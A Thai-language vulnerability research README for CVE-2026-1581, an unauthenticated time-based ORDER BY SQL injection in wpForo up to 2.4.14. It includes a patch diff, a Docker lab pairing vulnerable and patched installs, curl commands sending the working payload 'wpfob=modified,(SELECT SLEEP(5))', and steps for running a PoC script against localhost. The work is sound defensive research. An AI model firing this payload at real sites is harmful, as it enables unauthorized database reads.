README.md
Rendering markdown...
# CVE-2026-1581 — wpForo Forum (<= 2.4.14) Unauthenticated Time‑Based SQL Injection (ORDER BY)
[English](README.md)
---
## Executive Summary
| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-1581 |
| **Plugin** | wpForo Forum |
| **Affected Versions** | <= 2.4.14 |
| **Patched Version** | 2.4.15 |
| **Vulnerability Type** | Unauthenticated Time-Based SQL Injection (ORDER BY) |
| **CVSS Score** | 7.5 (High) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
* CVE-2026-1581 เป็นช่องโหว่ Unauthenticated Time-Based SQL Injection ในปลั๊กอิน
wpForo Forum (<= 2.4.14) พารามิเตอร์ `wpfob` ถูกนำไปใช้ใน ORDER BY clause
โดยผ่านแค่ text sanitization ทำให้ผู้โจมตีที่ไม่ต้องล็อกอินสามารถยัด SQL
expression เข้าไปได้ ผลคือสามารถอ่านข้อมูลในฐานข้อมูลได้
* ทาง vendor แก้ไขในเวอร์ชั่น 2.4.15 โดยเปลี่ยนจาก `sanitize_text_field()` มาเป็น `wpforo_sanitize_orderby()` ซึ่งทำงานแบบ whitelist ตาม context
---
## Scope & Safety
* รันเฉพาะ localhost + docker compose เท่านั้น
* PoC เป็น time-based timing proof เพื่อแสดงความต่าง vuln vs patched
* ไม่แนะนำการนำไปใช้กับระบบที่ไม่ได้รับอนุญาต
---
## Evidence at a glance
* Version proof: หน้า /community/ โหลด asset /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vuln) vs 2.4.15 (patched)
* Code proof: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
* Behavior proof: wpfob=modified,(SELECT SLEEP(5)) ทำให้ vuln หน่วง ~5s แต่ patched ใกล้ baseline
---
## What I observed from the CVE advisory
* CVE advisory ระบุเพียงว่าเป็น time-based SQL injection ผ่านพารามิเตอร์ `wpfob`
และถูกแก้ไขใน 2.4.15 ซึ่ง ณ เวลาที่วิเคราะห์ยังไม่มี public PoC ออกมา
* write-up นี้จึงสร้างขึ้นจากการทำ **source code diffing** ระหว่าง 2.4.14
กับ 2.4.15 โดย trace พารามิเตอร์ตั้งแต่ HTTP input ผ่าน sanitization
จนถึงจุดที่ถูกนำไปประกอบเป็น SQL query เพื่อให้เข้าใจ root cause
และสามารถ reproduce ได้

---
## 1) Source‑code driven analysis
### 1.1 ค้นหา `wpfob`
เริ่มด้วยการ grep หา `wpfob` ใน Source Code ซึ่งพบว่าในหน้า **Recent** มันรับค่าจาก `GET` มาเป็น `orderby` โดยตรง

* จุดที่สังเกตสำคัญ (Recent page)
**Vulnerable (2.4.14)** — `themes/classic/recent.php`:
```text
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
```
**Patched (2.4.15)** — ไฟล์เดียวกัน แต่เปลี่ยน sanitizer:
```text
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
```
> ทำไมโฟกัสที่ `recent.php`
> เพราะมันเป็น route ที่เรา trigger ได้และค่า `wpfob` ถูกยัดเข้า `$args['orderby']` ตรง ๆ
---
### 1.2 Dataflow ไปถึง SQL
เมื่อ `$args['orderby']` ถูก set แล้ว มันจะไหลเข้าไปยัง query builder ของ wpForo เพื่อประกอบ SQL ส่วน `ORDER BY ...`.
**ตัวอย่างจุดประกอบ ORDER BY (vuln 2.4.14)**
`classes/Topics.php` (ประกอบ ORDER BY):

`classes/Posts.php` (อีกจุดที่ใช้ `$args['orderby']` ประกอบ):

**อธิบาย**
* `sanitize_text_field()` คือทำความสะอาดถ้าแปลตรงตัว ซึ่งมันคือการ Clear String เท่านั้น ถึงอย่างนี้ยังขาดการ **whitelist** ให้เหลือเฉพาะชื่อคอลัมน์ที่อนุญาตให้ใช้
* และเมื่อ `orderby` ถูกนำไปต่อเป็น `ORDER BY <orderby>` attacker จึงสามารถใส่ **SQL expression** ในตำแหน่ง ORDER BY ได้
รายละเอียด sanitize_text_field()
* https://developer.wordpress.org/reference/functions/sanitize_text_field/
---
### 1.3 Patch / Diff highlights (2.4.14 → 2.4.15)
#### 1.3.1 Diff: `recent.php`
```diff
32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
```
#### 1.3.2 Diff: `wpforo.php`
```diff
1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
```
#### 1.3.3 ฟังก์ชันใหม่ที่มาแพตช์: `wpforo_sanitize_orderby()`
ใน 2.4.15 ได้เพิ่มฟังก์ชัน sanitizer ที่ทำงานในลักษณะ **whitelist ตาม context** และจะคืนค่า default ถ้าไม่อยู่ใน whitelist:

---
## 2) Lab design (Vuln vs Patched)
### 2.1 บริการใน docker compose
* `wp_vuln` (WordPress + wpForo 2.4.14) → `http://localhost:8081`
* `wp_patched` (WordPress + wpForo 2.4.15) → `http://localhost:8082`
* `db_vuln` / `db_patched` (MariaDB)
* `seed_vuln` / `seed_patched` ใช้ `wp-cli` ทำงานด้านการติดตั้ง WordPress, ติดตั้งปลั๊กอิน, สร้างหน้า `/community/` ที่ฝัง `[wpforo]`, ตั้ง permalinks, สร้าง `.htaccess` และสร้าง artifact สำหรับตรวจสอบ
### 2.2 Route ที่ใช้ทดสอบจริง
จากการอ่านซอร์ส `wpfob` ถูกใช้ชัดเจนในหน้า **recent**
* `http://localhost:8081/community/recent/?view=opened`
* `http://localhost:8082/community/recent/?view=opened`
---
## 3) Reproduction: timing proof
ก่อนพิสูจน์ ต้องมีข้อมูลอย่างน้อย 1 topic และ 1 post
### 3.1 ทำไม “ต้องมีโพสต์ก่อน”
* ช่องโหว่เป็น **ORDER BY injection**
* ถ้าไม่มี topic และ post ใน wpForo เลย query อาจคืน 0 แถว ซึ่งจะไม่ต้อง sort บน DB ตัวโค้ด path อาจไม่ evaluate expression ใน `ORDER BY` ทำให้ **ไม่เห็น delay** จึง false negative
ดังนั้นอย่างน้อย 1 topic และ 1 post
### 3.2 Baseline timing
```bash
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"
```

### 3.3 Attack timing
```bash
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
```
**Expected**
* Vuln: `attack_vuln` ≈ `baseline_vuln + ~5s`
* Patched: `attack_patched` ≈ baseline (ไม่หน่วง)
### 3.4 ผลทดสอบ

---
# Runbook — วิธี Build Lab และ วิธีใช้ PoC (CVE-2026-1581)
## 1) วิธี Build Lab (Vuln vs Patched)
### 1.1 Prerequisites
* Docker Desktop + Docker Compose v2
* พอร์ตว่าง: `8081` (vuln), `8082` (patched)
### 1.2 ไฟล์ที่ต้องมี
* `docker-compose.yml`
* `scripts/seed-wp.sh`
### 1.3 Start lab
ที่โฟลเดอร์โปรเจกต์:
```bash
docker compose up -d
```
### 1.4 Verify
ตรวจว่าเปิดได้:
* Vuln: `http://localhost:8081/community/`
* Patched: `http://localhost:8082/community/`
และหน้า recent:
* Vuln: `http://localhost:8081/community/recent/?view=opened`
* Patched: `http://localhost:8082/community/recent/?view=opened`



### 1.5 เตรียม Topics / Posts ผ่าน wp-cli + db query (ใช้ในแลปนี้เท่านั้น)
ใช้เพื่อ reproducibility และกัน false negative
```bash
# 1) check counts (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) insert 1 topic and 1 post (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
```
ฝั่ง patched ให้เปลี่ยน seed_vuln เป็น seed_patched
---
## 2) วิธีใช้ PoC
### 2.1 ติดตั้ง dependency ของ PoC
แนะนำใช้ venv:
```bash
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
```
### 2.2 รัน PoC
```bash
# vuln
python3 poc.py http://localhost:8081
# patched
python3 poc.py http://localhost:8082
```
### 2.3 POC output

---
## 3) Cleanup Project
```bash
docker compose down -v
```
---
## References
* NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-1581
* Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve